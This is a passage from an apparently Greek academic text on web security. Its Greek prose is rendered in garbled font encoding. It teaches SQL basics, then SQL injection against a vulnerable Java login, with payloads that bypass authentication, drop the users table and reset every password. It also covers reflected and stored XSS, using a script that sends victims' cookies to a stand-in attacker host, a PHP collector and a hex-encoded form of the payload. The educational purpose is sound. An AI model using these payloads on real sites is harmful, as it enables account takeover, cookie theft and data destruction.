επεξσηεκάησλ(queries), κέζσ ησλ νπνίσλ κπνξνύκε λα έρνπκε πξόζβαζε ζε κηα 

βάζε δεδνκέλσλ,  πξνθεηκέλνπ : 

● λα αλαδεηήζνπκε δεδνκέλα 

● λα εηζάγνπκε λέεο εγγξαθέο 

● λα δηαγξάςνπκε ήδε ππάξρνπζεο εγγξαθέο 

● ή λα ηξνπνπνηήζνπκε ηηο ππάξρνπζεο εγγξαθέο 

 

Γοκή SQL 

Οη ηέζζεξηο βαζηθέο ιεηηνπξγίεο(operations) ηεο SQL είλαη νη εμήο: 

http://el.wikipedia.org/wiki/%CE%A3%CF%87%CE%B5%CF%83%CE%B9%CE%B1%CE%BA%CE%AE_%CE%B2%CE%AC%CF%83%CE%B7_%CE%B4%CE%B5%CE%B4%CE%BF%CE%BC%CE%AD%CE%BD%CF%89%CE%BD
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1. Select: Η ιεηηνπξγία απηή επηηξέπεη ζηνλ ρξήζηε λα αλαθηήζεη δεδνκέλα από 

έλα ζύζηεκα Βάζεσλ Γεδνκέλσλ. 

2. Insert: Η ιεηηνπξγία απηή επηηξέπεη ζηνλ ρξήζηε λα εηζάγεη λέεο εγγξαθέο ζην 

ζύζηεκα. 

3. Delete: Μέζσ ηεο ιεηηνπξγίαο απηήο, ν ρξήζηεο κπνξεί λα δηαγξάςεη ηηο 

ππάξρνπζεο εληνιέο. 

4. Update: Η ιεηηνπξγία απηή επηηξέπεη ζηνλ ρξήζηε λα ελεκεξώζεη ηα δεδνκέλα 

κηαο ππάξρνπζαο εγγξαθήο. 

 

Οη βαζηθνί ηειεζηέο(operators) ηεο SQL είλαη νη εμήο: 

● = : Ο ηειεζηήο απηόο δειώλεη ηελ ηζόηεηα κεηαμύ ηνπ δεμηνύ θαη ηνπ αξηζηεξνύ 

άθξνπ. 

● != : Ο ηειεζηήο απηόο δειώλεη ηελ αληζόηεηα κεηαμύ ηνπ δεμηνύ θαη ηνπ αξηζηεξνύ 

άθξνπ. 

● >  : Ο ηειεζηήο απηόο ρξεζηκνπνηείηαη γηα λα δειώζεη όηη ε ηηκή ηνπ αξηζηεξνύ 

άθξνπ είλαη κεγαιύηεξε από ηελ αληίζηνηρε ηνπ δεμηνύ άθξνπ. 

● < : Ο ηειεζηήο απηόο ρξεζηκνπνηείηαη γηα λα δειώζεη όηη ε ηηκή ηνπ αξηζηεξνύ 

άθξνπ είλαη κηθξόηεξε από ηελ αληίζηνηρε ηνπ δεμηνύ άθξνπ. 

● >= : Ο ηειεζηήο απηόο ρξεζηκνπνηείηαη γηα λα δειώζεη όηη ε ηηκή ηνπ αξηζηεξνύ 

άθξνπ είλαη κεγαιύηεξε ή ίζε από ηελ αληίζηνηρε ηνπ δεμηνύ άθξνπ. 

● <= : Ο ηειεζηήο απηόο ρξεζηκνπνηείηαη γηα λα δειώζεη όηη ε ηηκή ηνπ αξηζηεξνύ 

άθξνπ είλαη κηθξόηεξε ή ίζε από ηελ αληίζηνηρε ηνπ δεμηνύ άθξνπ. 

● BETWEEN : Ο ηειεζηήο απηόο ρξεζηκνπνηείηαη γηα λα δειώζεη όηη ε ηηκή ηνπ 

αξηζηεξνύ άθξνπ θπκαίλεηαη ζην δηάζηεκα κεηαμύ δύν ηηκώλ. 

● IN : Ο ηειεζηήο απηόο ρξεζηκνπνηείηαη γηα λα δειώζεη όηη ε ηηκή ηνπ αξηζηεξνύ 

άθξνπ πεξηιακβάλεηαη ζην ζύλνιν ηηκώλ πνπ βξίζθεηαη ζην δεμηό άθξν. 

● AS : Ο ηειεζηήο απηόο ρξεζηκνπνηείηαη γηα λα δνζεί/ηξνπνπνηεζεί ε νλνκαζία 

ηνπ απνηειέζκαηνο ζην δεμί άθξν.    

● AND: Ο ηειεζηήο απηόο ρξεζηκνπνηείηαη γηα ηελ πξνζζήθε κηαο λέαο ζπλζήθεο 

ζε έλα επεξώηεκα. Πξνθεηκέλνπ λα επηζηξαθεί κηα εγγξαθή ζα πξέπεη ηόζν ε 

δεμηά όζν θαη ε αξηζηεξή ζπλζήθε λα είλαη αιεζήο. 

● OR: Ο ηειεζηήο απηόο ρξεζηκνπνηείηαη γηα ηελ πξνζζήθε κηαο λέαο ζπλζήθεο ζε 

έλα επεξώηεκα. Πξνθεηκέλνπ λα επηζηξαθεί κηα εγγξαθή ζα πξέπεη ηνπιάρηζηνλ 

κία από ηε δεμηά θαη ηελ αξηζηεξή ζπλζήθε λα είλαη αιεζήο. 
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Οη βαζηθνί όξνη(clauses) ηεο SQL είλαη νη εμήο: 

● FROM: Ο όξνο απηόο νξίδεη ηηο ζρέζεηο από ηηο νπνίεο ζα 

αλαθηεζνύλ/επεμεξγαζηνύλ ηα δεδνκέλα. 

● WHERE: Ο όξνο where νξίδεη ηηο ζπλζήθεο-πεξηνξηζκνύο πνπ αθνξνύλ ηα 

δεδνκέλα πξνο αλάθηεζε, επεμεξγαζία ή δηαγξαθή. 

● GROUPBY:  Ο όξνο απηόο ρξεζηκνπνηείηαη πξνθεηκέλνπ λα νκαδνπνηήζεη ηα 

δεδνκέλα πξνο αλάθηεζε, βάζε ελόο ή πεξηζζόηεξσλ πεδίσλ. 

● HAVING: Ο όξνο απηόο ζηνρεύεη ζην θηιηξάξηζκα ησλ νκάδσλ πνπ πξνέθπςαλ 

από ηνλ όξν groupby, βάζε ελόο θξηηεξίνπ.  

● ORDERBY: Ο όξνο απηόο ζηνρεύεη ζηελ ηαμηλόκεζε ησλ απνηειεζκάησλ πνπ 

πξνέθπςαλ από έλα select εξώηεκα, βάζε ελόο θξηηεξίνπ. 

 

Παραδείγκαηα SQL Eρφηεκάηφλ 

 

1. SELECT * 

FROM Book 

WHERE price > 100.00 

ORDER BY title 

 

Σην παξαπάλσ εξώηεκα αξρηθά ζα δηαβαζηνύλ ηα δεδνκέλα γηα θάζε έλα βηβιίν 

πνπ είλαη θαηαρσξεκέλν ζην ζύζηεκα. Σηελ ζπλέρεηα ζα γίλεη ην θηιηξάξηζκα 

ζην whereclause θαη ελ ηέιεη ζα απνκείλνπλ κόλν ηα βηβιία ησλ νπνίσλ ε ηηκή 

ηνπο είλαη απζηεξά κεγαιύηεξε από ηα 100 Δπξώ. Τέινο ζα γίλεη ηαμηλόκεζε ησλ 

απνηειεζκάησλ, βάζε ηνπ ηίηινπ ησλ βηβιίσλ θαη ζα επηζηξαθνύλ ηα 

απνηειέζκαηα ζηνλ ρξήζηε. 

 

2. SELECT isbn, title, price, price * 0.06 AS sales_tax 

FROM Book 

WHERE price > 100.00 AND publication_country = ‗Greece‘ 
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Σην παξαπάλσ εξώηεκα αξρηθά ζα δηαβαζηνύλ ηα δεδνκέλα γηα θάζε έλα βηβιίν 

πνπ είλαη θαηαρσξεκέλν ζην ζύζηεκα. Σηελ ζπλέρεηα ζα γίλεη ην θηιηξάξηζκα 

ζην whereclause θαη ελ ηέιεη ζα απνκείλνπλ κόλν ηα βηβιία ησλ νπνίσλ ε ηηκή 

ηνπο είλαη απζηεξά κεγαιύηεξε από ηα 100 Δπξώ θαη ηαπηόρξνλα ε ρώξα 

δεκνζίεπζεο είλαη ε Διιάδα. Σην ηέινο ζα επηζηξαθνύλ γηα όια ηα παξαπάλσ 

βηβιία ην isbn, ν ηίηινο ηνπ βηβιίνπ, ε ηηκή ηνπ βηβιίνπ, θαζώο θαη ε θνξνιόγεζε 

ηνπ βηβιίνπ, ε νπνία αληηζηνηρεί ζην 6% ηεο ηηκήο ηνπ βηβιίνπ. 

 

 

3. SELECT isbn, title, price, price * 0.06 AS sales_tax 

FROM Book 

WHERE price > 100.00 AND (publication_country = ‗Greece‘ OR 

publication_country = ‗Italy‘) 

 

Σην παξαπάλσ εξώηεκα αξρηθά ζα δηαβαζηνύλ ηα δεδνκέλα γηα θάζε έλα βηβιίν 

πνπ είλαη θαηαρσξεκέλν ζην ζύζηεκα. Σηελ ζπλέρεηα ζα γίλεη ην θηιηξάξηζκα 

ζην whereclause θαη ελ ηέιεη ζα απνκείλνπλ κόλν ηα βηβιία ησλ νπνίσλ ε ηηκή 

ηνπο είλαη απζηεξά κεγαιύηεξε από ηα 100 Δπξώ θαη ηαπηόρξνλα ε ρώξα 

δεκνζίεπζεο είλαη είηε ε Διιάδα είηε ε Ιηαιία. Σην ηέινο ζα επηζηξαθνύλ γηα όια 

ηα παξαπάλσ βηβιία ην isbn, ν ηίηινο ηνπ βηβιίνπ, ε ηηκή ηνπ βηβιίνπ, θαζώο θαη ε 

θνξνιόγεζε ηνπ βηβιίνπ, ε νπνία αληηζηνηρεί ζην 6% ηεο ηηκήο ηνπ βηβιίνπ. 

 

4. INSERT INTO Book(isbn, title, price, publication_country) VALUES(689721, 

‗Human History‘, 98.00, ‗Portugal‘) 

 

Τν παξαπάλσ εξώηεκα ζα θαηαρσξήζεη έλα λέν βηβιίν ζην ζύζηεκα. Τν isbn 

ηνπ βηβιίνπ ζα είλαη ην 689721, ν ηίηινο απηνύ ζα είλαη ην ‗HumanHistory‘, ε ηηκή 

ηνπ ζα είλαη 98 επξώ θαη ε ρώξα δεκνζίεπζεο ζα είλαη ε Πνξηνγαιία. 
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2.3.2 Σρόπος Λεηηοσργίας Γηαδηθησαθώλ εθαρκογώλ 

Γηα ηελ αλάιπζε ηεο επίζεζεο είλαη ζεκαληηθό λα θαηαλνήζνπκε πσο ιεηηνπξγνύλ νη 

δηάθνξεο webapplications θαη πσο πξαγκαηνπνηνύληαη ηα δηάθνξα SQLqueries. Οη 

πεξηζζόηεξεο δηαδηθηπαθέο εθαξκνγέο ρξεζηκνπνηνύλ θόξκεο , νη νπνίεο επηηξέπνπλ 

ζηνλ ρξήζηε λα αιιεινεπηδξάζεη θαη λα ζηείιεη πιεξνθνξίεο ζηνλ δηαθνκηζηή. Οη 

θόξκεο έρνπλ κηα πιεζώξα εθαξκνγώλ, κέζα ζηηο νπνίεο ζπκπεξηιακβάλεηαη θαη ε 

δεκηνπξγία SQL εξσηεκάησλ, ηα νπνία πξόθεηηαη λα εθηειεζηνύλ από ηνλ δηαθνκηζηή. 

Σηελ παξαθάησ εηθόλα παξνπζηάδεηαη έλα παξάδεηγκα ελόο html θώδηθα γηα ηελ 

παξνπζίαζε ηεο ιεηηνπξγίαο login. Αξρηθά βιέπνπκε όηη νξίδεηαη ην tag «form», ην νπνίν 

νξίδεη ην πεξηερόκελν ηεο login θόξκαο. Μηα από ηηο παξακέηξνπ ηνπ htmltag είλαη ην 

―ACTION‖, ην νπνίν πξνζδηνξίδεη ην κέξνο(link) πνπ ζα ζηαιζνύλ ηα δεδνκέλα ηεο 

θόξκαο, όηαλ ν ρξήζηεο ππνβάιιεη ηα δεδνκέλα ηεο θόξκαο. Τα tag «input» πνπ 

βξίζθνληαη εληόο ηνπ εύξνπο ηεο θόξκαο νξίδνπλ θάζε έλα ζηνηρείν πνπ βξίζθεηαη εληόο 

ηεο θόξκαο. Η παξάκεηξνο ―TYPE‖  ελόο taginput νξίδεη ην είδνο ηνπ ζηνηρείνπ. 

Αληίζεηα ε παξάκεηξνο ―NAME‖ δειώλεη ην κνλαδηθό όλνκα πνπ πξνζδίδεηαη ζε θάζε 

πεδίν καο θόξκαο, ώζηε λα είλαη ζε ζέζε ν παξαιήπηεο ησλ δεδνκέλσλ λα κπνξεί λα 

ηα αλαθηήζεη. 

 

Παράδεηγκα Δπηθοηλφλίας Δθαρκογής κε ηε ΒΓ
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Μηα πηζαλή πινπνίεζε ηεο παξαπάλσ login θόξκαο είλαη ε εμήο:  

<form method=‖POST‖ action=‖http://www.exampleServerSite.com/Login.jsp‖ > 

   Login  

<input  type=‖text‖  name=‖login‖ > 

   Password  

<input  type=‖text‖  name=‖password‖ > 

<input  type=‖submit‖  value="Login"> 

</form> 

Παξαηεξνύκε όηη ηα πεδία ―Login‖ θαη ―Password‖ είλαη ηύπνπ θεηκέλνπ θαη επηηξέπνπλ 

ζην ρξήζηε λα δώζεη είζνδνο. Αληίζεηα ν ηύπνο ηνπ πεδίνπ ―Login‖ είλαη θνπκπί 

ππνβνιήο θαη επηηξέπεη ζηνλ ρξήζηε λα ππνβάιεη ηα πεξηερόκελα κηαο θόξκαο. 

Όηαλ ν ρξήζηεο ππνβάιεη ηα ζηνηρεία κηαο θόξκαο, ηόηε ηα δεδνκέλα ζα ζηαιζνύλ ζην 

server «http://www.exampleServerSite.com/Login.jsp», ν νπνίνο ζηελ πην απιή 

πεξίπησζε ζα ειέγμεη απιά αλ ππάξρεη ρξήζηεο κε ηα δεδνκέλα πνπ ππνβιήζεθαλ. Γηα 

θάλεη oserver ηνλ έιεγρν απηό, ζα δεκηνπξγήζεη έλα SQL επεξώηεκα, ην νπνίν ζα 

ξσηάεη ηε βάζε λα ππάξρεη εγγεγξακκέλνο ρξήζηεο κε απηά ηα ππνβιεζέληα ζηνηρεία. 

Μηα πηζαλή πινπνίεζε ηνπ παξαπάλσ θώδηθα είλαη ν εμήο: 

 

String login = getParameter(―Login‖); 

String password = getParameter(―Password‖); 

String query = ―SELECT * FROM users WHERE login=‘ ‖ + login + ‖ ‘ AND password=‘ ‖ 

+ password + ‖ ‘ ―; 

Statement stat = connection.createStatement();  

ResultSet rs = stat.executeQuery(query); 

If(rs.next()){ 

 out.println(―Successful login!!!‖); 

}else{ 
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 νut.println(―No valid login info!!!‖); 

} 

 

Γηα παξάδεηγκα αλ ν ρξήζηεο εηζάγεη ηα ζηνηρεία ―Nikos Papadopoulos‖ θαη ―1234‖ ζηα 

πεδία Login θαη Password αληίζηνηρα, ηόηε ν server ζα εθηειέζεη ην εξώηεκα “SELECT 

* FROM users WHERE login=‘Nikos Papadopoulos‘ AND password=‘12345‘“. Σε 

πεξίπησζε πνπ ππάξρεη εγγξαθή κε απηά ηα ζηνηρεία, ηόηε ζα εκθαληζηεί ην κήλπκα 

―Successfullogin!!!‖, δηαθνξεηηθά ζα εκθαληζηεί ην κήλπκα ―Novalidlogininfo!!!‖. 

 

2.3.3 SQLInjection Δπηζέζεης 

Όπσο αλαθέξζεθε θαη ζηελ εηζαγσγή ηεο επίζεζεο δειεηεξίαζεο SQL θώδηθα, ν 

επηηηζέκελνο πξνζπαζεί λα αιινηώζεη ην query πνπ πξόθεηηαη λα εθηειεζηεί ζηε βάζε, 

δίλνληαο θαηάιιειε κνξθή ζηα δεδνκέλα εηζόδνπ.  

Αλάθηεζε Απόρρεηφλ Πιεροθορηώλ 

Μηα απόξξνηα ηεο επίζεζεο δειεηεξίαζεο ηνπ SQL θώδηθα είλαη ε αλάθηεζε 

απόξξεησλ πιεξνθνξηώλ από ην ζύζηεκα. Αο ππνζέζνπκε όηη ζην παξαπάλσ 

παξάδεηγκα, ν ρξήζηεο εηζήγαγε ηα ζηνηρεία ―  ‖ θαη ― ‗ OR 1=1 -- ― ζηα πεδία Login θαη 

Password αληίζηνηρα. Σηελ πεξίπησζε απηή, ην query πνπ πξόθεηηαη λα εθηειέζεη ν 

server είλαη  ην εμήο: 

SELECT * FROM users WHERE login=‘ ‘  AND password=‘ ‘ OR 1=1 -- ‗ 

Τν παξαπάλσ εξώηεκα , ιόγσ ηεο πξνζεηαηξηζηηθόηεηαο ησλ ηειεζηώλ ηεο SQL, είλαη 

ηζνδύλακν κε ην εξώηεκα: 

SELECT * FROM users WHERE (login=‘ ‘  AND password=‘ ‘) OR 1=1 -- ‗ 

Βάζε ηνπ παξαπάλσ εξσηήκαηνο, ε βάζε ζα επηζηξέςεη ηα ζηνηρεία όισλ ησλ 

ρξεζηώλ , θαζώο ε ζπλζήθε «1=1» ηζρύεη πάληα. Να ζεκεησζεί πσο ην ζύκβνιν ―—― 

δειώλεη ζρόιην, νπόηε όηη αθνινπζεί ην ζύκβνιν απηό, δελ δηακνξθώλεη ηα 

απνηειέζκαηα πνπ ζα επηζηξέςεη/εθηειέζεη έλα εξώηεκα. 

Δπνκέλσο, ζην παξαπάλσ παξάδεηγκα ν ρξήζηεο ζα θαηαθέξεη λα εηζαρζεί ζην 

ζύζηεκα, δίρσο λα είλαη θαηαρσξεκέλνο ζε απηό. Αλ κάιηζηα ε εθαξκνγή εκθάληδε ηα 

ζηνηρεία ηνπ ρξήζηε κεηά ην επηηπρεκέλν login, ζε πεξίπησζε πνπ εθηεινύηαλ ην 
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παξαπάλσ εξώηεκα, ηόηε ζα εκθαλίδνληαλ ηα πξνζσπηθά ζηνηρεία όισλ ησλ ρξεζηώλ 

ηεο εθαξκνγήο, ζπκπεξηιακβαλνκέλσλ πηζαλώο θαη ησλ δηαρεηξηζηώλ ηεο εθαξκνγήο. 

Με ηνλ ηξόπν απηό, ν επηηηζέκελνο ζα είλαη ζε ζέζε λα θάλεη login ζην ζύζηεκα σο 

νπνηνζδήπνηε από ηνπο ππάξρνληεο ρξήζηεο ηεο εθαξκνγήο. 

Σροποποίεζε ηες Καηάζηαζες ηες ΒΓ 

Μηα δεύηεξε ζπλέπεηα πνπ κπνξεί λα πξνθαιέζεη ε δειεηεξίαζε ελόο SQL θώδηθα είλαη 

ε ηξνπνπνίεζε ηεο θαηάζηαζεο ηεο Βάζεο Γεδνκέλσλ, κέζσ είηε ηεο εηζαγσγήο λέσλ 

εγγξαθώλ είηε ηεο ηξνπνπνίεζεο/δηαγξαθήο ήδε ππάξρνλησλ. 

Αο ππνζέζνπκε όηη ζην παξαπάλσ παξάδεηγκα ν ρξήζηεο εηζήγαγε ηα ζηνηρεία 

―Andrew‖ θαη ―pass';  DROPTABLEusers; -- ‖ ζηα πεδία Login θαη Password αληίζηνηρα. 

Σηελ πεξίπησζε απηή ην εξώηεκα πνπ ζα ζρεκαηηδόηαλ ζα ήηαλ ην εμήο: 

―SELECT * FROM users WHERE login=‘Andrew‘ AND password=‘pass‘; DROP TABLE 

users; --  ‘ ― 

Σηελ πεξίπησζε απηή, ζα εθηειεζηνύλ δύν μερσξηζηά εξσηήκαηα. Τν πξώην εξώηεκα 

ζα είλαη ην ―SELECT * FROMusersWHERElogin=‘Andrew‘ ANDpassword=‘pass‘ ‖, ελώ 

ην δεύηεξν ζα είλαη ην ―DROPTABLEusers―. Τν πξώην εξώηεκα ζα επηζηξέςεη ηηο 

πιεξνθνξίεο ηνπ ρξήζηε κε ηα ζηνηρεία ―Andrew‖ θαη ―pass‖, αλ απηόο ππάξρεη, ελώ ην 

δεύηεξν εξώηεκα ζα δηαγξάςεη ην table κε όλνκα ―users‖. Δπνκέλσο ν ρξήζηεο ζα 

θαηαθέξεη λα δηαγξάςεη ην table, ην νπνίν θξαηάεη ηα ζηνηρεία όισλ ησλ ρξεζηώλ ηνπ 

ζπζηήκαηνο. 

Μηα άιιε είζνδν πνπ ζα κπνξνύζε λα δώζεη ν ρξήζηεο ζα ήηαλ ν ζπλδπαζκόο 

―Andrew‖ θαη ― pass‘;  UPDATEusersSETpassword=‘1234‘; -- ‖ .Τα δεδνκέλα εηζόδνπ 

απηνύ ζα παξήγαγαλ ην query: 

SELECT * FROM users WHERE login=‘Andrew‘ AND password=‘pass‘; 

UPDATE users SET password=‘1234‘; -- ‘ 

Με ηελ εθηέιεζε ηνπ παξαπάλσ εξσηήκαηνο, ν επηηηζέκελνο ζα θαηαθέξεη λα 

ελεκεξώζεη ηνλ θσδηθό όισλ ησλ ρξεζηώλ ηεο εθαξκνγήο κε ηε ηηκή «1234». Με ηνλ 

ηξόπν απηό αθελόο ζα είλαη ζε ζέζε λα εηζαρζεί ζην ζύζηεκα κέζσ ηνλ ινγαξηαζκό 

άιισλ ρξεζηώλ (δεδνκέλνπ όηη κε θάπνην ηξόπν έρεη κάζεη ην username ηνπο, 

αθεηέξνπ ζα απνηξέςεη ηελ είζνδν ησλ λόκηκσλ ρξεζηώλ, κέρξη λα ηξνπνπνηήζνπλ εθ 

λένπ ηνλ θσδηθό πξόζβαζεο ηνπο ζην ζύζηεκα.  
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Με αληίζηνηρν ηξόπν ν ρξήζηεο κπνξεί λα εηζάγεη παξάλνκα λέεο εγγξαθέο ζηε Βάζε 

Γεδνκέλσλ, κε ηε ρξήζε ηεο ιεηηνπξγίαο ―INSERT‖. 
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2.4 CROSSSITESCRIPTING 

 

Με ηνλ όξν Cross-sitescripting ή XSS (δελ είλαη CSS γηαηί ζα ππήξρε ζύγθξνπζε κε ην 

CascadingStyleSheets) αλαθεξόκαζηε ζηελ εθκεηάιιεπζε δηάθνξσλ εππαζεηώλ 

(vulnerabilities) ππνινγηζηηθώλ ζπζηεκάησλ κε εηζαγσγή θώδηθα HTML[1] ή 

Javascript[2] ζε θάπνην ηζηόρσξν. Πην ζπγθεθξηκέλα, ε εππάζεηα νξηζκέλσλ 

ζπζηεκάησλ λα θηιηξάξνπλ θαη λα απνξξίςνπλ ηπρόλ επηβιαβείο εηζόδνπο, δίλεη ηε 

δπλαηόηεηα ζε θαθόβνπινπο ρξήζηεο λα εηζάγνπλ θώδηθα ζηε πιεπξά ηνπ client 

(webbrowser) θαη λα εηζαρζεί (inject) ζε θάπνηνλ server, πξνθεηκέλνπ λα γίλεη 

εθκεηάιιεπζε ηνπ θελνύ αζθαιείαο. 

Μέζσ κηαο ηέηνηαο επίζεζεο, ν θαθόβνπινο ρξήζηεο κπνξεί λα επηηύρεη ηα εμήο: 

● Κινπή θσδηθώλ/ινγαξηαζκώλ θαη άιισλ πξνζσπηθώλ δεδνκέλσλ 

● Καηαζθνπία πινήγεζεο ρξήζηε 

● Αιιαγή ξπζκίζεσλ ηνπ ηζηνρώξνπ 

● Κινπή ησλ cookies [3] 

● Χεύηηθε δηαθήκηζε 

 

Οη επηζέζεηο XSS ρσξίδνληαη ζε δύν βαζηθέο θαηεγνξίεο: 

● Non-persistent ή reflected attacks 

● Persistent ή stored attacks 

 

Non-persistent(reflected) attacks 

Απηόο ν ηύπνο επίζεζεο απνηειεί ηελ πην δεκνθηιή κνξθή XSS επηζέζεσλ. Ο ηξόπνο 

ιεηηνπξγίαο είλαη ν αθόινπζνο:  

Ο επηηηζέκελνο ζηέιλεη έλα εηδηθά θαηαζθεπαζκέλν link(είηε κέζσ email είηε κέζσ 

δεκόζηαο δεκνζίεπζεο ζπλδέζκνπ, όπσο πρ ζε ηζηνζειίδεο θνηλσληθήο δηθηύσζεο), ην 

νπνίν όηαλ ην επηζθεθζεί ην ζύκα, ζα ηξέμεη ζηνλ browser ηνπ ηνλ θαθόβνπιν θώδηθα. 

Γηα λα θαηαιάβνπκε θαιύηεξα ηελ επίζεζε απηή ζα δείμνπκε έλα κηθξό παξάδεηγκα. Αο 

ππνζέζνπκε όηη έλαο θαθόβνπινο ρξήζηεο έρεη ζηήζεη έλα δηθό ηνπ server, ε ηζηνζειίδα 

ηνπ νπνίνπ είλαη ε «http://attackerLink». Σηνλ server απηόλ ππάξρεη ην αξρείν 

stealCookies.php κε ην παξαθάησ πεξηερόκελν: 
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<?php 

$cookie = $_GET[‘cookie’]; 

$database = new Database(); 

$database->add($cookie); 

?> 

Βάζε ηνπ παξαπάλσ θώδηθα, ν εμππεξεηεηήο ζα δηαβάζεη ηελ ηηκή ηεο παξακέηξνπ 

―cookie‖ από έλα HTTPGETrequest [4] θαη ζηελ ζπλέρεηα ζα ηελ εηζάγεη ζηε βάζε 

δεδνκέλσλ. 

Αο ππνζέζνπκε επίζεο πσο ππάξρεη κηα κεραλή αλαδήηεζεο, ην link ηεο νπνίαο είλαη ην 

«http://website», θαη ζηελ νπνία ηξέρεη ην αξρείν ―search.php‖ κε ην παξαθάησ 

πεξηερόκελν: 

<?php 

$keyword = $_GET['keyword']; 

$search = new Search($keyword); 

echo "Result for keyword \"$keyword\" is: <br>"; 

echo $search->results(); 

?> 

Ο θώδηθαο απηόο, αθνύ αλαθηήζεη ηα δεδνκέλα πνπ ζα αληηζηνηρνύλ ζην keyword πνπ 

έζηεηιε ν ρξήζηεο, ζα επηζηξέςεη ηόζν ην ίδην ην keyword, όζν θαη ηα απνηειέζκαηα 

πνπ αληηζηνηρνύλ ζε απηό. 

 

Η επίζεζε επηηπγράλεηαη ζε 6 βήκαηα: 

1. Ο θαθόβνπινο ρξήζηεο ζα ζηείιεη ην link 

«http://website/search.php?keyword=hi<script>window.location='http://attackerLi

nk/stealCookies.php?cookie='+document.cookie</script>» ζην επίδνμν ζύκα.  

 

2. Όηαλ ην ζύκα επηζθεθηεί ηνλ παξαπάλσ ζύλδεζκν, ζα ζηαιζεί ην παξαπάλσ 

request ζηε κεραλή αλαδήηεζεο.  
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3. Τν απνηέιεζκα ηεο κεραλήο αλαδήηεζεο ζα αλαθηήζεη ηα δεδνκέλα πνπ ζα 

αληηζηνηρνύλ ζην keyword απηό θαη ζα ηα επηζηξέςεη ζηνλ ρξήζηε-ζύκα. Τν 

παξαπάλσ κήλπκα ζα πεξηιακβάλεη κεηαμύ άιισλ θαη ην θιεηδί αλαδήηεζεο, ζην 

νπνίν ζα πεξηιακβάλεηαη ν javascript θώδηθαο 

«<script>window.location='http://attackerLink/stealCookies.php?cookie='+docum

ent.cookie</script>».   

 

4. Όηαλ ν θπιινκεηξεηήο ηνπ ζύκαηνο παξαιάβεη ηελ παξαπάλσ απάληεζε, ζα 

πξνζπαζήζεη λα ηελ εκθαλίζεη. Ψζηόζν, δεδνκέλνπ όηη ζηελ απάληεζε ππάξρεη 

θαη ν πξναλαθεξζείο javascript θώδηθαο, ν θπιινκεηξεηήο ηνπ ζύκαηνο ζα 

εθηειέζεη ηνλ θώδηθα απηό. 

 

 

5. Απηό ζα έρεη σο απνηέιεζκα λα ζηαιζεί αίηεκα ζηελ ηζηνζειίδα 

http://attackerLink/stealCookies.php, ζην νπνίν ζα ππάξρεη ε παξάκεηξνο 

―cookie‖  θαη ε νπνία ζα πεξηέρεη ηα cookies ηνπ ζύκαηνο(document.cookie).  

 

6. Όηαλ ην αίηεκα θηάζεη ζην site ηνπ θαθόβνπινπ ρξήζηε, ζα γίλεη αλάθηεζε ησλ 

cookie ηνπ ζύκαηνο θαη ζηε ζπλέρεηα ζα απνζεθεπηνύλ ζηε βάζε δεδνκέλσλ ηνπ 

επηηηζέκελνπ. Με ηνλ ηξόπν απηό επηηεύρζεθε ε ππνθινπή ησλ cookie ηνπ 

ζύκαηνο.  

 

Μηα ζεκαληηθή ιεπηνκέξεηα  ζηε ζπγθεθξηκέλε επίζεζε είλαη ην γεγνλόο όηη ν θώδηθαο 

javascript είλαη γξακκέλνο ζε ASCII κνξθή[5], επνκέλσο ζα είλαη αλαγλώζηκνο από 

θάπνηνλ έκπεηξν ρξήζηε. Σηελ πεξίπησζε απηή, ν έκπεηξνο ρξήζηεο δελ ζα επηζθεθηεί 

ην ζπγθεθξηκέλν link, ππνςηαδόκελνο όηη πξόθεηηαη γηα θάπνηνπ είδνπο επίζεζε. Γηα ηελ 

αληηκεηώπηζε απηνύ ηνπ θαηλνκέλνπ, ν θαθόβνπινο ρξήζηεο κπνξεί λα ηξνπνπνηήζεη 

ηνλ πξναλαθεξζεί javascript θώδηθα, έηζη ώζηε λα αλαπαξηζηάηαη ζε δεθαεμαδηθή 

κνξθή. 

http://attackerlink/stealCookies.php
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Η αληίζηνηρε δεθαεμαδηθή αλαπαξάζηαζε ηνπ javascript θώδηθα  

«<script>window.location='http://attackerLink/stealCookies.php?cookie='+document.coo

kie</script>» είλαη ε εμήο: 

3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 3d 27 68 74 74 

70 3a 2f 2f 61 74 74 61 63 6b 65 72 4c 69 6e 6b 2f 73 74 65 61 6c 43 6f 6f 6b 69 65 73 

2e 70 68 70 3f 63 6f 6f 6b 69 65 3d 27 2b 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 

3c 2f 73 63 72 69 70 74 3e 

 

Persistent(stored) attacks 

Σηελ πεξίπησζε ηεο persistent επίζεζεο, ν θαθόβνπινο θώδηθαο απνζεθεύεηαη ζηνλ 

ζηε βάζε δεδνκέλσλ ηνπ εμππεξεηεηή. Γηα ηνλ ιόγν απηό, απηέο νη επηζέζεηο 

ζεσξνύληαη πην επηθίλδπλεο, θαζώο κπνξνύλ λα πξνθαιέζνπλ κεγαιύηεξε δεκηά, ιόγσ 

κεγαιύηεξνπ εύξνπο ζπκάησλ θαη ηαπηόρξνλα ηα ζύκαηα κπνξεί λα είλαη θαη νη ίδηνη νη 

δηαρεηξηζηέο ηνπ ζπζηήκαηνο. 

Αο ππνζέζνπκε πσο ππάξρεη έλα forum, ην νπνίν εμππεξεηείηαη από κηα βάζε 

δεδνκέλσλ θαη ε νπνία θξαηάεη ηε ζπλνιηθή πιεξνθνξία.  

Η stored επίζεζε επηηπγράλεηαη κε ηα εμήο 7 βήκαηα: 

 

1. Ο θαθόβνπινο ρξήζηεο ρξεζηκνπνηεί ηε θόξκα ηνπ forum γηα λα θάλεη reply ζε 

έλα post. Τν reply δελ ζα είλαη κηα ηπραία απάληεζε, αιιά ζα είλαη έλαο 

θαθόβνπινο javascript θώδηθαο. Έζησ πσο ρξεζηκνπνηεζεί πάιη ν 

«<script>window.location='http://attackerLink/stealCookies.php?cookie='+docum

ent.cookie</script>». 

 

2. Όηαλ ε απάληεζε(reply) θηάζεη ζηνλ server ηνπ forum, ζα απνζεθεπηεί ζηε βάζε 

δεδνκέλσλ. 

 

3. Έζησ πσο έλαο λόκηκνο ρξήζηεο θάλεη login ζην forum θαη επηζπκήζεη λα 

επηζθεθηεί ηε ζειίδα, όπνπ εκθαλίδεηαη ην πξναλαθεξζέλ post. 
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4. H βάζε δεδνκέλσλ ζα αλαθηήζεη ηα δεδνκέλα πνπ αληηζηνηρνύλ ζην post, ζην 

νπνίν ζα ζπκπεξηιακβάλεηαη θαη ην reply ηνπ θαθόβνπινπ ρξήζηε θαη ζα ηα 

ζηείιεη πίζσ ζηνλ ρξήζηε. 

 

